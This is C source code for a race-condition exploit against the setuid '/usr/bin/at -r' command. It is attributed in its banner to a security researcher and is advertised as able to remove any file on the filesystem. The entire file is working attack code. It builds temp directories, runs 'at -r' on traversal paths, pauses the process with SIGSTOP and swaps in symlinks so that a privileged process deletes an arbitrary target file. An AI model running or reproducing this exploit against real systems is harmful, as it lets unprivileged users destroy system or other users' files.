#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/param.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>

#define maxjobs 256
#define tmpdir	"/tmp"
#define at	"/usr/bin/at"

char target[MAXPATHLEN+1];
char targetfile[MAXPATHLEN+1];
char targetdir[MAXPATHLEN+1];

void cleandirs(void);

void err(char * msg)
{
	if (errno) {
		int error = errno;
		perror(msg);
		cleandirs();
		errno = error;
		exit(errno);
	}
}

void gohome(void)
{
	char * home;

	home = getenv("HOME");
	if (!home) {
		errno = EINVAL;
		err("getenv(\"HOME\")");
	}
	if (chdir(home) < 0)
		err("chdir($HOME)");
}

void cleandirs(void)
{
	int no;
	char * tmp;

	for (no = 0; no < maxjobs; no++) {
		char path[MAXPATHLEN+1];
		snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
		path[MAXPATHLEN] = '\0';
		unlink(path);
		snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
		path[MAXPATHLEN] = '\0';
		unlink(path);
		rmdir(path);
	}
}

void createdirs(char ** argv)
{
	int no;

	for(no = 0; no < maxjobs; no++) {
		char path[MAXPATHLEN+1];
		int fd;

		snprintf(path, MAXPATHLEN, "%s/%i", tmpdir, no);
		path[MAXPATHLEN] = '\0';

		unlink(path);
		if (mkdir(path, 0755) < 0 && errno != EEXIST)
			err("Unable to create directory");

		snprintf(path, MAXPATHLEN, "../../../..%s/%i/%s", tmpdir, no, targetfile);
		path[MAXPATHLEN] = '\0';

		fd = open(path, O_CREAT|O_RDONLY, 0755);
		if (fd < 0 && errno != EEXIST)
			err("Unable to create file");
		close(fd); /* empty file is just fine */

		argv[no] = strdup(path);
		if (!argv[no])
			err("Unable to allocate memory");
	}
	argv[no] = NULL;
}

pid_t spawnat(char ** argv)
{
	int no, fd;
	pid_t child;

	child = fork();
	if (child < 0)
		err("Unable to fork");

	if (child)
		return child;

	/* child process */

	if (nice(19) < 0)
		err("Unable to change priority");

	fd = open("/dev/null", O_RDWR);
	if (fd < 0)
		err("Unable to open /dev/null");

	if (dup2(fd, STDIN_FILENO) < 0 ||
	    dup2(fd, STDOUT_FILENO) < 0 ||
	    dup2(fd, STDERR_FILENO) < 0)
		err("Unable to dup /dev/null");

	if (fd > STDERR_FILENO)
		close(fd);
	
	execv(argv[0], argv);
	err("Unable to execute at binary");
}

int doit(char * target)
{
	int no = 0;
	char path[MAXPATHLEN+1];
	char * argv[maxjobs + 3];
	pid_t child;
	uid_t uid = getuid();
	int result = -1;

	argv[0] = at;
	argv[1] = "-r";
	createdirs(argv+2);
	child = spawnat(argv);

	while (no < maxjobs) {
		struct stat st;

		/* check if previous attempt succeeded */
		if (stat(target, &st) < 0) {
			if (errno == ENOENT) {
				result = 0;
				break;
			} else 
				err("Unable to stat target file");
		}

		/* wait until file is deleted */
		snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
		path[MAXPATHLEN] = '\0';
		while (stat(path, &st) == 0) ;

		if (errno != ENOENT)
			err("Unable to stat temporary file");

		/* stop the child to exploit race condition */
		if (kill(child, SIGSTOP) < 0)
			break;

		/* find first file that hasn't been removed yet */
		while (++no < maxjobs) {
			snprintf(path, MAXPATHLEN, "%s/%i/%s", tmpdir, no, targetfile);
			path[MAXPATHLEN] = '\0';
			if (stat(path, &st) == 0)
				break;
			if (errno != ENOENT)
				err("Unable to stat temporary file");
		}
		
		/* all jobs removed - too late */
		if (no == maxjobs) {
			kill(child, SIGCONT);
			break;
		}

		if (unlink(path) < 0)
			err("Unable to remove temporary file");
		
		*strrchr(path, '/') = '\0';
	
		if (rmdir(path) < 0)
			err("Unable to remove temporary directory");
		
		if (symlink(targetdir, path) < 0)
			err("Unable to create symlink");

		if (kill(child, SIGCONT) < 0)
			err("Unable to continue child process");

		no++;
	}

	/* avoid zombie processes */
	waitpid(child, NULL, 0);
	for (no = 0; no < maxjobs; no ++)
		free(argv + no + 2);
	return result;
}

int main(int argc, char * argv[])
{
	char * tmp;

	fprintf(stderr, 
"
/usr/bin/at -r race condition exploit

Remove any file on the filesystem.

Bug found and exploit written by Wojciech Purczynski <cliph@isec.pl>
iSEC Security Research http://isec.pl/

");

	gohome();

	errno = EINVAL;
	if (argc < 2)
		err("Required parameter missing");
	if (argv[1][0] != '/')
		err("Absolute path required");

	strncpy(target, argv[1], MAXPATHLEN);
	target[MAXPATHLEN] = '\0';
	tmp = strrchr(argv[1], '/');
	*tmp = '\0';
	if (tmp == argv[1])
		strcpy(targetdir, "/");
	else {
		strncpy(targetdir, argv[1], MAXPATHLEN);
		targetdir[MAXPATHLEN] = '\0';
	}
	strncpy(targetfile, tmp+1, MAXPATHLEN);
	targetfile[MAXPATHLEN] = '\0';

	while (doit(target))
		fprintf(stderr, "."); /* przygarnij kropka */
	fprintf(stderr, "Success!\n");
	cleandirs();
	return 0;
}